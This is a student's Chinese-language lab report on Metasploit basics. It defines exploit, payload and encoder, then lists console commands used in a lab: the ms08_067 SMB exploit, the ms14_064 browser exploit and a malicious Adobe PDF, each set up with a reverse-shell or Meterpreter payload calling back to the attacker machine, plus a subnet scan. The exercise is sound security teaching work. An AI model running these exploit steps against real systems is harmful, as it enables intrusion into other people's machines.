20164322 韩玉婷-----Exp5 MSF基础应

Exp5 MSF基础应用

1.基础问题回答

exploit: 是指攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为, 包括利用缓冲区溢出、Web应用程序漏洞攻击，以及利用配置错误等。按照所利用的安全漏洞所在的位置分为主动渗透攻击(攻击某个系统服务)，被动渗透攻击(攻击某个客户端应用)。

payload：目标系统在被渗透攻击之后去执行的代码一段指令或称为shellcode。

encode：编码器，确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”；改变特征码，对攻击载荷进行“免杀”处理。

2.实验内容

2.1一个主动攻击实践，如ms08_067; （1分）

攻击机：kali linux ip:222.28.141.136

靶机： windows xp [版本 5.1.2600] ip:192.168.33.133 （中文版）

使用漏洞：ms08_067

输入 use exploit/windows/smb/ms08_067_netapi

设置payload,tcp反向回连 set payload generic/shell_reverse_tcp

设置攻击机ip set LHOST 222.28.141.136

设置攻击端口 set LPORT

设置靶机ip set RHOST 192.168.33.133

设置自动选择目标系统类型

攻击失败！！！通过网上查找资料，发现可能是打过补丁的原因，更换虚拟机。由于换了网络，所以第二次实验时ip也发生了变化。

攻击机：kali linux ip:192.168.33.132

靶机： windows xp [version 5.1.2600] ip:192.168.33.134

重复上述步骤：

攻击成功！！！

2.2 一个针对浏览器的攻击，ms14_064；（唯一）

攻击机：kali linux ip:192.168.33.132

靶机： windows xp [version 5.1.2600] ip:192.168.33.134

首先，我看了一下有哪些攻击浏览器的漏洞可用

下面还有很多........但是不一定都可用，随便选择一个漏洞ms14_064试试。

输入指令 use exploit/windows/browser/ms14_064_ole_code_execution //使用浏览器ms14_064漏洞

进行如下的配置：

set payload windows/meterpreter/reverse_http //http反向回连

set LHOST 192.168.33.132 //攻击机ip

//攻击端口固定

set URIPATH 4322hyt //统一资源标识符路径设置

在访问 http://192.168.33.132:8080/4322hyt 时，可见攻击机出现访问信息。

攻击成功！！！

2.3 一个针对客户端的攻击，如Adobe；（1分）

攻击机：kali IP:192.168.119.128

靶机：windows XP sp2 IP:192.168.119.133

在攻击机kali输入msfconsole进入控制台，输入指令： use exloit/windows/fileformat/adobe_u3d_meshdecl

进行如下配置：

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.33.136 //攻击机ip

//攻击端口

set FILENAME hyt4322.pdf //设置生成pdf文件的名字

exploit //攻击

在以上目录中找到该pdf文件，用共享文件夹共享到自己的主机，再拖到靶机。

在靶机上打开该pdf文件。

攻击者可以看到相应的信息，攻击成功！！！

2.4 成功应用任何一个辅助模块。（0.5分）

使用ARP请求枚举本地局域网中所有活跃主机

输入指令： use auxiliary/scanner/discovery/udp_seep

show options

将RHOSTS设置为 192.168.33.0/24，即扫描子网号为192.168.33.0的子网内的所有主机

结果扫描了256个主机，4个活跃，其中192.168.33.135是靶机的IP.

3.实验感想

本次实践让我对msf基础有了更加深入的理解，见识到了它的功能强大性，意识到漏洞库持续更新的重要性。对msf常用模块的使用也在一定程度上熟练了一些。同时再遇到一些错误时，通过提示，进行猜测，上网查找，解决了不少问题，提高了我独立思考的能力。